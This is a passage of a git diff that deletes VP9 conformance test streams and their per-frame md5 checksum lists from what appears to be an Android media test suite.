-7aaae6bbf8af4f7f6556f2285a9d9476  vp90-2-09-aq2-352x240-0083.i420
-485716ddd13576464d1ca47b4859cc22  vp90-2-09-aq2-352x240-0084.i420
-00194b66bafdb6a252852bd087200c6b  vp90-2-09-aq2-352x240-0085.i420
-d21b316ba1006c2381d78e5b7652b12a  vp90-2-09-aq2-352x240-0086.i420
-56506d53dc2333ccddcedb449977ce57  vp90-2-09-aq2-352x240-0087.i420
-0c6787858208959270dde59e38c544ca  vp90-2-09-aq2-352x240-0088.i420
-913b906f645964f57913db70e21aa6d8  vp90-2-09-aq2-352x240-0089.i420
-f9c5d447dd4c060d3610d22b6ff8f1d7  vp90-2-09-aq2-352x240-0090.i420
-ece0a0110c14dccde0ea4d0484b60d38  vp90-2-09-aq2-352x240-0091.i420
-fbcb7e878673c8287a1ed57a6feef818  vp90-2-09-aq2-352x240-0092.i420
-be5aed5dd5538c3ad8c9d88fb4a4207f  vp90-2-09-aq2-352x240-0093.i420
-4c668204dd2c45d039bf7c5f44203803  vp90-2-09-aq2-352x240-0094.i420
-06f9b1207289ed7fbf03c4be3f0349f5  vp90-2-09-aq2-352x240-0095.i420
-26275672bc752789d0a175ca48344643  vp90-2-09-aq2-352x240-0096.i420
-1b56fde58558ec9ae00f24815c13f672  vp90-2-09-aq2-352x240-0097.i420
-ff65dec4cab5d10ea34321f34d369b5e  vp90-2-09-aq2-352x240-0098.i420
-3d419dded34673cf487b39106af08da6  vp90-2-09-aq2-352x240-0099.i420
-ab8a99b2a88bab0238e5d3d3204098e0  vp90-2-09-aq2-352x240-0100.i420
diff --git a/tests/tests/media/res/raw/vp90_2_09_lf_deltas.vp9 b/tests/tests/media/res/raw/vp90_2_09_lf_deltas.vp9
deleted file mode 100644
index 72c747b..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_lf_deltas.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_09_lf_deltas_vp9_md5 b/tests/tests/media/res/raw/vp90_2_09_lf_deltas_vp9_md5
deleted file mode 100644
index b212aaa..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_lf_deltas_vp9_md5
+++ /dev/null
@@ -1,30 +0,0 @@
-a83c7f4602f595fd09e97f8c8a7277ec  vp90-2-09-lf_deltas-352x240-0001.i420
-53e1a3fd44932883a8dd112bbb0e359f  vp90-2-09-lf_deltas-352x240-0002.i420
-4bb16d168f9f0a7702c31a68bb8ff36c  vp90-2-09-lf_deltas-352x240-0003.i420
-1b2df157913aba96553aaf8d51491bf3  vp90-2-09-lf_deltas-352x240-0004.i420
-9d041532e42fca7a4062cd3e9b75413b  vp90-2-09-lf_deltas-352x240-0005.i420
-0dbac5ca06e13714d10e99042aefe375  vp90-2-09-lf_deltas-352x240-0006.i420
-bb83a507a65d2a640b08f42a77bb37f6  vp90-2-09-lf_deltas-352x240-0007.i420
-176f992d37c7daa36135cddb49398de3  vp90-2-09-lf_deltas-352x240-0008.i420
-c41834f72b3281cf6aaa66fd7416e6c3  vp90-2-09-lf_deltas-352x240-0009.i420
-790d4e6b1609dec782ff978e2003d318  vp90-2-09-lf_deltas-352x240-0010.i420
-449622f741f7577c1d721f2e9eb25091  vp90-2-09-lf_deltas-352x240-0011.i420
-8ef8543f7895c87ab04491b0150628e5  vp90-2-09-lf_deltas-352x240-0012.i420
-88ef626aca4b2bcb8c58a69db20a7b02  vp90-2-09-lf_deltas-352x240-0013.i420
-4b2f7adc2e1872ecdd9ffa7d1f1df4a6  vp90-2-09-lf_deltas-352x240-0014.i420
-7b162660225022ef31e39c34fee3418e  vp90-2-09-lf_deltas-352x240-0015.i420
-2b439a4b846edcc69cdf6075de5ac8fb  vp90-2-09-lf_deltas-352x240-0016.i420
-ba2eb1ba0ed9abf701a53a94c9c626fc  vp90-2-09-lf_deltas-352x240-0017.i420
-9fbec5d5334fd5e917feee756b652d93  vp90-2-09-lf_deltas-352x240-0018.i420
-93b5eb99ea54abc5fa90c5674499e27e  vp90-2-09-lf_deltas-352x240-0019.i420
-04a98408e9b0aed28932ef1dfdcfdb6c  vp90-2-09-lf_deltas-352x240-0020.i420
-9856ba976bed30bc790a3f28e926b092  vp90-2-09-lf_deltas-352x240-0021.i420
-2b0f450e9724cfc57b846148ff876e51  vp90-2-09-lf_deltas-352x240-0022.i420
-163757f3529369b9789ea606387b831d  vp90-2-09-lf_deltas-352x240-0023.i420
-de5ed2aff936c54f3378d0dcc2575d13  vp90-2-09-lf_deltas-352x240-0024.i420
-1f642826b8a6fb111c7c6130481dab89  vp90-2-09-lf_deltas-352x240-0025.i420
-b8e3a77c7d3c5c56f67aa7409fb5404c  vp90-2-09-lf_deltas-352x240-0026.i420
-eb06cb4f471e42d7fc06929a442cca8b  vp90-2-09-lf_deltas-352x240-0027.i420
-53471649a5080b306d2c04a4f7673bdf  vp90-2-09-lf_deltas-352x240-0028.i420
-70996be0cc5d2bd97025015dd50caa99  vp90-2-09-lf_deltas-352x240-0029.i420
-ff3280a8562fdf6697c4a7cb9c1bf0a0  vp90-2-09-lf_deltas-352x240-0030.i420
diff --git a/tests/tests/media/res/raw/vp90_2_09_subpixel_00_vp9_md5 b/tests/tests/media/res/raw/vp90_2_09_subpixel_00_vp9_md5
deleted file mode 100644
index 1144632..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_subpixel_00_vp9_md5
+++ /dev/null
@@ -1,20 +0,0 @@
-50233551e96b74ebfdaabbc8a154303c  vp90-hantro-stream-001-320x180-0001.i420
-047109ae2e488be8ee953dca4f09a0e2  vp90-hantro-stream-001-320x180-0002.i420
-5e2ba01240e39566a607f10f0d7eaed3  vp90-hantro-stream-001-320x180-0003.i420
-01f1c635ce56efcc13def2ac3bcccc3f  vp90-hantro-stream-001-320x180-0004.i420
-6e800d75da797409eb2f5b458027b05d  vp90-hantro-stream-001-320x180-0005.i420
-a88b9c2cfad5367d934fd067c2c6452d  vp90-hantro-stream-001-320x180-0006.i420
-a898a33e443dba4c2d61c27caa0fb068  vp90-hantro-stream-001-320x180-0007.i420
-321f16df155169f1fbd117a258b065ed  vp90-hantro-stream-001-320x180-0008.i420
-a71b4df17c37e423a2a6129be8058c66  vp90-hantro-stream-001-320x180-0009.i420
-b168dad8dd0be2e945ada495320e1ec3  vp90-hantro-stream-001-320x180-0010.i420
-4b4e227f6558b9a0e80bbeaebdc50b63  vp90-hantro-stream-001-320x180-0011.i420
-929ad97d05c62b56d908378beeedb68e  vp90-hantro-stream-001-320x180-0012.i420
-f952dc4b2a6e6cdcb0740e67eec87c96  vp90-hantro-stream-001-320x180-0013.i420
-f42500b60e2bbfee44b7e5b4068d9061  vp90-hantro-stream-001-320x180-0014.i420
-802f7975005cc8d77a3801b72ee08ca1  vp90-hantro-stream-001-320x180-0015.i420
-e685e147c9400dd6742c749dc1e18fd6  vp90-hantro-stream-001-320x180-0016.i420
-4080f9db1e9a98478af9c0575a7f31fc  vp90-hantro-stream-001-320x180-0017.i420
-70fcce378d2bade12d2dab44b3fbd4b6  vp90-hantro-stream-001-320x180-0018.i420
-81e539130d2dbb2eb69fe63eb1bb9cbb  vp90-hantro-stream-001-320x180-0019.i420
-2952c0eae93f3dadd1aa84c50d3fd6d2  vp90-hantro-stream-001-320x180-0020.i420
diff --git a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame.vp9 b/tests/tests/media/res/raw/vp90_2_10_show_existing_frame.vp9
deleted file mode 100644
index bd5531e..0000000
--- a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2.vp9 b/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2.vp9
deleted file mode 100644
index 665a236..0000000
--- a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2_vp9_md5
deleted file mode 100644
index 51940b6..0000000
--- a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2_vp9_md5
+++ /dev/null
@@ -1,16 +0,0 @@
-382b12c33cd86b38758706b8ebca8a85  -352x288-0001.i420
-799544370b35c91711a5b49a28cf86a8  -352x288-0002.i420
-7218eb4b6d1c7aea4f96ee47ad675e8e  -352x288-0003.i420
-627466200370e6ad60ea570d31be66e3  -352x288-0004.i420
-7dc65a2af108379f2b9265a9a1ea7cf8  -352x288-0005.i420
-c979e2f084760775a567f60f79f28198  -352x288-0006.i420
-fe668a6417aa0543e4ed4d1c67c5cbcb  -352x288-0007.i420
-bf9901e39815fa93cce0ed5b02b2ef2d  -352x288-0008.i420
-627466200370e6ad60ea570d31be66e3  -352x288-0009.i420
-7dc65a2af108379f2b9265a9a1ea7cf8  -352x288-0010.i420
-c979e2f084760775a567f60f79f28198  -352x288-0011.i420
-fe668a6417aa0543e4ed4d1c67c5cbcb  -352x288-0012.i420
-bf9901e39815fa93cce0ed5b02b2ef2d  -352x288-0013.i420
-627466200370e6ad60ea570d31be66e3  -352x288-0014.i420
-7dc65a2af108379f2b9265a9a1ea7cf8  -352x288-0015.i420
-c979e2f084760775a567f60f79f28198  -352x288-0016.i420
diff --git a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame_vp9_md5 b/tests/tests/media/res/raw/vp90_2_10_show_existing_frame_vp9_md5
deleted file mode 100644
index 85d421d..0000000
--- a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame_vp9_md5
+++ /dev/null
@@ -1,13 +0,0 @@
-18981342ec178e082519451062c3a67f  vp90-2-10-show-existing-frame-352x288-0001.i420
-04ab9dbeac49ec31be58f6e671698e05  vp90-2-10-show-existing-frame-352x288-0002.i420
-4ed58a0ba93a5d97a232a50c5876cda2  vp90-2-10-show-existing-frame-352x288-0003.i420
-a41f00034923e56ba51a0b598acc2e3a  vp90-2-10-show-existing-frame-352x288-0004.i420
-63fa55ae9535ccdf06d44cce8065dda6  vp90-2-10-show-existing-frame-352x288-0005.i420
-a41f00034923e56ba51a0b598acc2e3a  vp90-2-10-show-existing-frame-352x288-0006.i420
-0e4b08e14d919edee2bbff2ecd47de57  vp90-2-10-show-existing-frame-352x288-0007.i420
-0e4b08e14d919edee2bbff2ecd47de57  vp90-2-10-show-existing-frame-352x288-0008.i420
-5d4af03fc3d410413ef2b5a6275528b7  vp90-2-10-show-existing-frame-352x288-0009.i420
-9e932915c67a789f6877e6d3f76d3649  vp90-2-10-show-existing-frame-352x288-0010.i420
-12f2e975c217e7ffcf334524e8acec35  vp90-2-10-show-existing-frame-352x288-0011.i420
-9e932915c67a789f6877e6d3f76d3649  vp90-2-10-show-existing-frame-352x288-0012.i420
-12f2e975c217e7ffcf334524e8acec35  vp90-2-10-show-existing-frame-352x288-0013.i420
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_1.vp9 b/tests/tests/media/res/raw/vp90_2_12_droppable_1.vp9
deleted file mode 100644
index 666d187..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_1.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_1_vp9_md5 b/tests/tests/media/res/raw/vp90_2_12_droppable_1_vp9_md5
deleted file mode 100644
index 7b1abf8..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_1_vp9_md5
+++ /dev/null
@@ -1,99 +0,0 @@
-1839e5db94dc99681d690d544cbe28a4  vp90-2-12-droppable_1.ivf-352x288-0001.i420
-dae2db51b91745edddb33ddbeb4e0988  vp90-2-12-droppable_1.ivf-352x288-0002.i420
-046639dbef310bf9016a54498a3ef0a3  vp90-2-12-droppable_1.ivf-352x288-0003.i420
-947044a5dbc918e8be468c2bc9eaeeaa  vp90-2-12-droppable_1.ivf-352x288-0004.i420
-f96322ba3bf86065829d15c4394a1ab2  vp90-2-12-droppable_1.ivf-352x288-0005.i420
-4dfcf05608b399d56b0b29e3447ac24a  vp90-2-12-droppable_1.ivf-352x288-0006.i420
-b772fd5f5e3221d9c1daf690aeca89e8  vp90-2-12-droppable_1.ivf-352x288-0007.i420
-d8838cf1a4316c6c9ba7f42f8cba205c  vp90-2-12-droppable_1.ivf-352x288-0008.i420
-368f762830ed3d29d642798ff88107bd  vp90-2-12-droppable_1.ivf-352x288-0009.i420
-f3e614a8f67681f814242c75e6ac66f7  vp90-2-12-droppable_1.ivf-352x288-0010.i420
-f49458a915dd853e53c15e52e280085b  vp90-2-12-droppable_1.ivf-352x288-0011.i420
-65cbd3f3f8447d3caf935cddfcb6cb15  vp90-2-12-droppable_1.ivf-352x288-0012.i420
-8f4764c45093050a78b4b6055648cda0  vp90-2-12-droppable_1.ivf-352x288-0013.i420
-16d399bff977cdac0543daffba3a14bd  vp90-2-12-droppable_1.ivf-352x288-0014.i420
-59f16bc632697d20514a55814cf0a9ae  vp90-2-12-droppable_1.ivf-352x288-0015.i420
-058ba53139a3f48883ae4e668177d564  vp90-2-12-droppable_1.ivf-352x288-0016.i420
-85796d9edf6a5fe5d0c804e8b80f4469  vp90-2-12-droppable_1.ivf-352x288-0017.i420
-94b7bf54b3dd8d007cb932c330e4e7cf  vp90-2-12-droppable_1.ivf-352x288-0018.i420
-964732ac0abf132fe8c65a845eeaea39  vp90-2-12-droppable_1.ivf-352x288-0019.i420
-dda8408b95868ea683f921e88ca0f8f4  vp90-2-12-droppable_1.ivf-352x288-0020.i420
-33b008d0b3932abd28d1c0d484a89cb0  vp90-2-12-droppable_1.ivf-352x288-0021.i420
-bbf8f8edda10ab20cde304b362f6fc7c  vp90-2-12-droppable_1.ivf-352x288-0022.i420
-6a08c9c1d4444f6b706a9193823e4866  vp90-2-12-droppable_1.ivf-352x288-0023.i420
-f3cfb225730f103c76083220b55aaf7e  vp90-2-12-droppable_1.ivf-352x288-0024.i420
-aa43de9fd852ffca405f9e1be0c517b9  vp90-2-12-droppable_1.ivf-352x288-0025.i420
-e5bcd2084c06d7e391af0710a3f56f86  vp90-2-12-droppable_1.ivf-352x288-0026.i420
-e16276389746853039a5c1353e3f830e  vp90-2-12-droppable_1.ivf-352x288-0027.i420
-8ecf32a7649dd9df718b5a31512aa17b  vp90-2-12-droppable_1.ivf-352x288-0028.i420
-db63be2b267a77061f40a48a5ad94129  vp90-2-12-droppable_1.ivf-352x288-0029.i420
-94c6a699e9b5382e1e4a30d462d1b05d  vp90-2-12-droppable_1.ivf-352x288-0030.i420
-340102d21a9c8d9119aed97d7bd408ba  vp90-2-12-droppable_1.ivf-352x288-0031.i420
-a369b32d71a6daf9a589614cba76d06c  vp90-2-12-droppable_1.ivf-352x288-0032.i420
-7c6f24525d07f08cfaaf8b57c1b1e0c7  vp90-2-12-droppable_1.ivf-352x288-0033.i420
-f99b35baf3e4f3967ad08b5475041959  vp90-2-12-droppable_1.ivf-352x288-0034.i420
-b1dede9bbe4a9542d10e7e2dcc225208  vp90-2-12-droppable_1.ivf-352x288-0035.i420
-d627915070dd5e6e11d1dff7b1dc4243  vp90-2-12-droppable_1.ivf-352x288-0036.i420
-2f176951d8716e1ac316f30388be269d  vp90-2-12-droppable_1.ivf-352x288-0037.i420
-215828b89c294b2568a575438c75d4e0  vp90-2-12-droppable_1.ivf-352x288-0038.i420
-3a29b4bf698713cbd575e6b14257fc87  vp90-2-12-droppable_1.ivf-352x288-0039.i420
-b930a1eef6838edc9abb769909b87cd9  vp90-2-12-droppable_1.ivf-352x288-0040.i420
-532c260abbd6d1181be3ff7a77f2d350  vp90-2-12-droppable_1.ivf-352x288-0041.i420
-b9ee7c0ab6c7cf8881fe5ed165454638  vp90-2-12-droppable_1.ivf-352x288-0042.i420
-d516f6949c3704ab9f154e3720f5f9ec  vp90-2-12-droppable_1.ivf-352x288-0043.i420
-bf05478086e97057856c3c987b220958  vp90-2-12-droppable_1.ivf-352x288-0044.i420
-92202af7ea355a8d4678e618c0344134  vp90-2-12-droppable_1.ivf-352x288-0045.i420
-ca870c59afab60c5da07e688a89be1a9  vp90-2-12-droppable_1.ivf-352x288-0046.i420
-92429a1763b07d2a0bf843a2953fcc1c  vp90-2-12-droppable_1.ivf-352x288-0047.i420
-1614a4655799cd08875b1271767ce85e  vp90-2-12-droppable_1.ivf-352x288-0048.i420
-2b30362c459109cafcff5f1bb8217e34  vp90-2-12-droppable_1.ivf-352x288-0049.i420
-6568f3dd687762489b7fd2c4a59dd38c  vp90-2-12-droppable_1.ivf-352x288-0050.i420
-6121d029cf4e402f9999a6719b3d6d97  vp90-2-12-droppable_1.ivf-352x288-0051.i420
-085cc85c56e35b4a19b48b502d606ffb  vp90-2-12-droppable_1.ivf-352x288-0052.i420
-63a7dc5d70bd142cb167c20f645a90bb  vp90-2-12-droppable_1.ivf-352x288-0053.i420
-b3ae931ee6f2724304f6a67070a386c0  vp90-2-12-droppable_1.ivf-352x288-0054.i420
-07fcd2b18c1c8a6c46151acff26ce2c0  vp90-2-12-droppable_1.ivf-352x288-0055.i420
-658758a58b92693bafeff41a2424e2a9  vp90-2-12-droppable_1.ivf-352x288-0056.i420
-3619120dfca7b24434ebe8e87936996c  vp90-2-12-droppable_1.ivf-352x288-0057.i420
-17152bbf314be8c30837cbece6fb53cd  vp90-2-12-droppable_1.ivf-352x288-0058.i420
-bc3352c6948fac5a681bf37abcc9b8b4  vp90-2-12-droppable_1.ivf-352x288-0059.i420
-5a4e0a19a7653a5ad120b1f46f9905b4  vp90-2-12-droppable_1.ivf-352x288-0060.i420
-2632db035652049f5340d1e59d577d42  vp90-2-12-droppable_1.ivf-352x288-0061.i420
-95a28f288602ae1f859a02055103aa39  vp90-2-12-droppable_1.ivf-352x288-0062.i420
-3d01e40359a3cfca996908d331492848  vp90-2-12-droppable_1.ivf-352x288-0063.i420
-4b6243114b09dbf590c1250419327b01  vp90-2-12-droppable_1.ivf-352x288-0064.i420
-f9aae29d9168366933f2bcc57a5afcb8  vp90-2-12-droppable_1.ivf-352x288-0065.i420
-6bca12015a807fdf48cda90cbe042ab4  vp90-2-12-droppable_1.ivf-352x288-0066.i420
-7769b6fa16f8c09973d1a2c08cf18dbb  vp90-2-12-droppable_1.ivf-352x288-0067.i420
-3457395b67960b1566007e764b0c0e81  vp90-2-12-droppable_1.ivf-352x288-0068.i420
-0d0ea9bdd5c4b164bbefc31000a28e49  vp90-2-12-droppable_1.ivf-352x288-0069.i420
-9fb6b2afb53b73a658b579beb3008bcd  vp90-2-12-droppable_1.ivf-352x288-0070.i420
-c9a941b87dcdd09afaab68cca0ed668a  vp90-2-12-droppable_1.ivf-352x288-0071.i420
-9a2baa4c442f3ebdf251e9bbef0dbf83  vp90-2-12-droppable_1.ivf-352x288-0072.i420
-ef90237bc4ed3d795ba78c8a4ef9f1d6  vp90-2-12-droppable_1.ivf-352x288-0073.i420
-68cabdcf5d934e279f1c45207e983d43  vp90-2-12-droppable_1.ivf-352x288-0074.i420
-ac5d93877691c05bb581a10bfcd058e5  vp90-2-12-droppable_1.ivf-352x288-0075.i420
-c4e09feb0a88d765c7681c7d427eda87  vp90-2-12-droppable_1.ivf-352x288-0076.i420
-690734960471ab41d5cdf052be87bd30  vp90-2-12-droppable_1.ivf-352x288-0077.i420
-4abaaa7e31a3a6e30b242e42587363d5  vp90-2-12-droppable_1.ivf-352x288-0078.i420
-b9c46f294e7a23b608004ff8aa2b9ea3  vp90-2-12-droppable_1.ivf-352x288-0079.i420
-b6a6a0e45c30de0f03880f753b6e75de  vp90-2-12-droppable_1.ivf-352x288-0080.i420
-c8725906463cb71ed8a64ba8af6a79be  vp90-2-12-droppable_1.ivf-352x288-0081.i420
-d0e28c090e859834a33bc0867a0f7ed7  vp90-2-12-droppable_1.ivf-352x288-0082.i420
-1ad8bf201d9898d562631226a2ef85fa  vp90-2-12-droppable_1.ivf-352x288-0083.i420
-962fe544b1a76bafe8a1b77cd64679ba  vp90-2-12-droppable_1.ivf-352x288-0084.i420
-89f9a77223961cc5ad49a11913ff9774  vp90-2-12-droppable_1.ivf-352x288-0085.i420
-483782bf6d14bbb19c749d58b8535e3e  vp90-2-12-droppable_1.ivf-352x288-0086.i420
-dfbe1b7ecc880ce5da758728f7375d63  vp90-2-12-droppable_1.ivf-352x288-0087.i420
-11a51b22418cc8dad57a20b37dd10630  vp90-2-12-droppable_1.ivf-352x288-0088.i420
-50b90506f9666ccb7dd94b6d59096489  vp90-2-12-droppable_1.ivf-352x288-0089.i420
-101294ecaff7edf5155ddc6cf3595021  vp90-2-12-droppable_1.ivf-352x288-0090.i420
-177e8f9d8aaf40b17d0b677133fc7955  vp90-2-12-droppable_1.ivf-352x288-0091.i420
-c029f78e758a27b8fc4214abf5ddad07  vp90-2-12-droppable_1.ivf-352x288-0092.i420
-45b6df0756e3f98218f4e9f0f33b1f13  vp90-2-12-droppable_1.ivf-352x288-0093.i420
-82d1fd8cc9fa0a072a0fc6177e7f8805  vp90-2-12-droppable_1.ivf-352x288-0094.i420
-bf6c3e8df105fdb82a614f8e8f6d68af  vp90-2-12-droppable_1.ivf-352x288-0095.i420
-2e66eccd31c0e1792f3019c0a7b43af6  vp90-2-12-droppable_1.ivf-352x288-0096.i420
-d7eab4f351bd3c03e873b93afc9b7803  vp90-2-12-droppable_1.ivf-352x288-0097.i420
-f7bc200d54ec154779521311c54a22d1  vp90-2-12-droppable_1.ivf-352x288-0098.i420
-8e2624d762102b6dbe13b7cf20ee1708  vp90-2-12-droppable_1.ivf-352x288-0099.i420
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_2.vp9 b/tests/tests/media/res/raw/vp90_2_12_droppable_2.vp9
deleted file mode 100644
index 672af0b..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_12_droppable_2_vp9_md5
deleted file mode 100644
index 4ee5724..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_2_vp9_md5
+++ /dev/null
@@ -1,99 +0,0 @@
-1839e5db94dc99681d690d544cbe28a4  vp90-2-12-droppable_2.ivf-352x288-0001.i420
-dae2db51b91745edddb33ddbeb4e0988  vp90-2-12-droppable_2.ivf-352x288-0002.i420
-046639dbef310bf9016a54498a3ef0a3  vp90-2-12-droppable_2.ivf-352x288-0003.i420
-947044a5dbc918e8be468c2bc9eaeeaa  vp90-2-12-droppable_2.ivf-352x288-0004.i420
-f96322ba3bf86065829d15c4394a1ab2  vp90-2-12-droppable_2.ivf-352x288-0005.i420
-4dfcf05608b399d56b0b29e3447ac24a  vp90-2-12-droppable_2.ivf-352x288-0006.i420
-b772fd5f5e3221d9c1daf690aeca89e8  vp90-2-12-droppable_2.ivf-352x288-0007.i420
-d8838cf1a4316c6c9ba7f42f8cba205c  vp90-2-12-droppable_2.ivf-352x288-0008.i420
-368f762830ed3d29d642798ff88107bd  vp90-2-12-droppable_2.ivf-352x288-0009.i420
-f3e614a8f67681f814242c75e6ac66f7  vp90-2-12-droppable_2.ivf-352x288-0010.i420
-f49458a915dd853e53c15e52e280085b  vp90-2-12-droppable_2.ivf-352x288-0011.i420
-65cbd3f3f8447d3caf935cddfcb6cb15  vp90-2-12-droppable_2.ivf-352x288-0012.i420
-8f4764c45093050a78b4b6055648cda0  vp90-2-12-droppable_2.ivf-352x288-0013.i420
-16d399bff977cdac0543daffba3a14bd  vp90-2-12-droppable_2.ivf-352x288-0014.i420
-59f16bc632697d20514a55814cf0a9ae  vp90-2-12-droppable_2.ivf-352x288-0015.i420
-058ba53139a3f48883ae4e668177d564  vp90-2-12-droppable_2.ivf-352x288-0016.i420
-85796d9edf6a5fe5d0c804e8b80f4469  vp90-2-12-droppable_2.ivf-352x288-0017.i420
-94b7bf54b3dd8d007cb932c330e4e7cf  vp90-2-12-droppable_2.ivf-352x288-0018.i420
-964732ac0abf132fe8c65a845eeaea39  vp90-2-12-droppable_2.ivf-352x288-0019.i420
-dda8408b95868ea683f921e88ca0f8f4  vp90-2-12-droppable_2.ivf-352x288-0020.i420
-33b008d0b3932abd28d1c0d484a89cb0  vp90-2-12-droppable_2.ivf-352x288-0021.i420
-bbf8f8edda10ab20cde304b362f6fc7c  vp90-2-12-droppable_2.ivf-352x288-0022.i420
-6a08c9c1d4444f6b706a9193823e4866  vp90-2-12-droppable_2.ivf-352x288-0023.i420
-f3cfb225730f103c76083220b55aaf7e  vp90-2-12-droppable_2.ivf-352x288-0024.i420
-aa43de9fd852ffca405f9e1be0c517b9  vp90-2-12-droppable_2.ivf-352x288-0025.i420
-e5bcd2084c06d7e391af0710a3f56f86  vp90-2-12-droppable_2.ivf-352x288-0026.i420
-e16276389746853039a5c1353e3f830e  vp90-2-12-droppable_2.ivf-352x288-0027.i420
-8ecf32a7649dd9df718b5a31512aa17b  vp90-2-12-droppable_2.ivf-352x288-0028.i420
-db63be2b267a77061f40a48a5ad94129  vp90-2-12-droppable_2.ivf-352x288-0029.i420
-94c6a699e9b5382e1e4a30d462d1b05d  vp90-2-12-droppable_2.ivf-352x288-0030.i420
-340102d21a9c8d9119aed97d7bd408ba  vp90-2-12-droppable_2.ivf-352x288-0031.i420
-a369b32d71a6daf9a589614cba76d06c  vp90-2-12-droppable_2.ivf-352x288-0032.i420
-7c6f24525d07f08cfaaf8b57c1b1e0c7  vp90-2-12-droppable_2.ivf-352x288-0033.i420
-f99b35baf3e4f3967ad08b5475041959  vp90-2-12-droppable_2.ivf-352x288-0034.i420
-b1dede9bbe4a9542d10e7e2dcc225208  vp90-2-12-droppable_2.ivf-352x288-0035.i420
-d627915070dd5e6e11d1dff7b1dc4243  vp90-2-12-droppable_2.ivf-352x288-0036.i420
-2f176951d8716e1ac316f30388be269d  vp90-2-12-droppable_2.ivf-352x288-0037.i420
-215828b89c294b2568a575438c75d4e0  vp90-2-12-droppable_2.ivf-352x288-0038.i420
-3a29b4bf698713cbd575e6b14257fc87  vp90-2-12-droppable_2.ivf-352x288-0039.i420
-b930a1eef6838edc9abb769909b87cd9  vp90-2-12-droppable_2.ivf-352x288-0040.i420
-532c260abbd6d1181be3ff7a77f2d350  vp90-2-12-droppable_2.ivf-352x288-0041.i420
-b9ee7c0ab6c7cf8881fe5ed165454638  vp90-2-12-droppable_2.ivf-352x288-0042.i420
-d516f6949c3704ab9f154e3720f5f9ec  vp90-2-12-droppable_2.ivf-352x288-0043.i420
-bf05478086e97057856c3c987b220958  vp90-2-12-droppable_2.ivf-352x288-0044.i420
-92202af7ea355a8d4678e618c0344134  vp90-2-12-droppable_2.ivf-352x288-0045.i420
-ca870c59afab60c5da07e688a89be1a9  vp90-2-12-droppable_2.ivf-352x288-0046.i420
-92429a1763b07d2a0bf843a2953fcc1c  vp90-2-12-droppable_2.ivf-352x288-0047.i420
-1614a4655799cd08875b1271767ce85e  vp90-2-12-droppable_2.ivf-352x288-0048.i420
-2b30362c459109cafcff5f1bb8217e34  vp90-2-12-droppable_2.ivf-352x288-0049.i420
-6568f3dd687762489b7fd2c4a59dd38c  vp90-2-12-droppable_2.ivf-352x288-0050.i420
-6121d029cf4e402f9999a6719b3d6d97  vp90-2-12-droppable_2.ivf-352x288-0051.i420
-085cc85c56e35b4a19b48b502d606ffb  vp90-2-12-droppable_2.ivf-352x288-0052.i420
-63a7dc5d70bd142cb167c20f645a90bb  vp90-2-12-droppable_2.ivf-352x288-0053.i420
-b3ae931ee6f2724304f6a67070a386c0  vp90-2-12-droppable_2.ivf-352x288-0054.i420
-07fcd2b18c1c8a6c46151acff26ce2c0  vp90-2-12-droppable_2.ivf-352x288-0055.i420
-658758a58b92693bafeff41a2424e2a9  vp90-2-12-droppable_2.ivf-352x288-0056.i420
-3619120dfca7b24434ebe8e87936996c  vp90-2-12-droppable_2.ivf-352x288-0057.i420
-17152bbf314be8c30837cbece6fb53cd  vp90-2-12-droppable_2.ivf-352x288-0058.i420
-bc3352c6948fac5a681bf37abcc9b8b4  vp90-2-12-droppable_2.ivf-352x288-0059.i420
-5a4e0a19a7653a5ad120b1f46f9905b4  vp90-2-12-droppable_2.ivf-352x288-0060.i420
-2632db035652049f5340d1e59d577d42  vp90-2-12-droppable_2.ivf-352x288-0061.i420
-95a28f288602ae1f859a02055103aa39  vp90-2-12-droppable_2.ivf-352x288-0062.i420
-3d01e40359a3cfca996908d331492848  vp90-2-12-droppable_2.ivf-352x288-0063.i420
-4b6243114b09dbf590c1250419327b01  vp90-2-12-droppable_2.ivf-352x288-0064.i420
-f9aae29d9168366933f2bcc57a5afcb8  vp90-2-12-droppable_2.ivf-352x288-0065.i420
-6bca12015a807fdf48cda90cbe042ab4  vp90-2-12-droppable_2.ivf-352x288-0066.i420
-7769b6fa16f8c09973d1a2c08cf18dbb  vp90-2-12-droppable_2.ivf-352x288-0067.i420
-3457395b67960b1566007e764b0c0e81  vp90-2-12-droppable_2.ivf-352x288-0068.i420
-0d0ea9bdd5c4b164bbefc31000a28e49  vp90-2-12-droppable_2.ivf-352x288-0069.i420
-9fb6b2afb53b73a658b579beb3008bcd  vp90-2-12-droppable_2.ivf-352x288-0070.i420
-c9a941b87dcdd09afaab68cca0ed668a  vp90-2-12-droppable_2.ivf-352x288-0071.i420
-9a2baa4c442f3ebdf251e9bbef0dbf83  vp90-2-12-droppable_2.ivf-352x288-0072.i420
-ef90237bc4ed3d795ba78c8a4ef9f1d6  vp90-2-12-droppable_2.ivf-352x288-0073.i420
-68cabdcf5d934e279f1c45207e983d43  vp90-2-12-droppable_2.ivf-352x288-0074.i420
-ac5d93877691c05bb581a10bfcd058e5  vp90-2-12-droppable_2.ivf-352x288-0075.i420
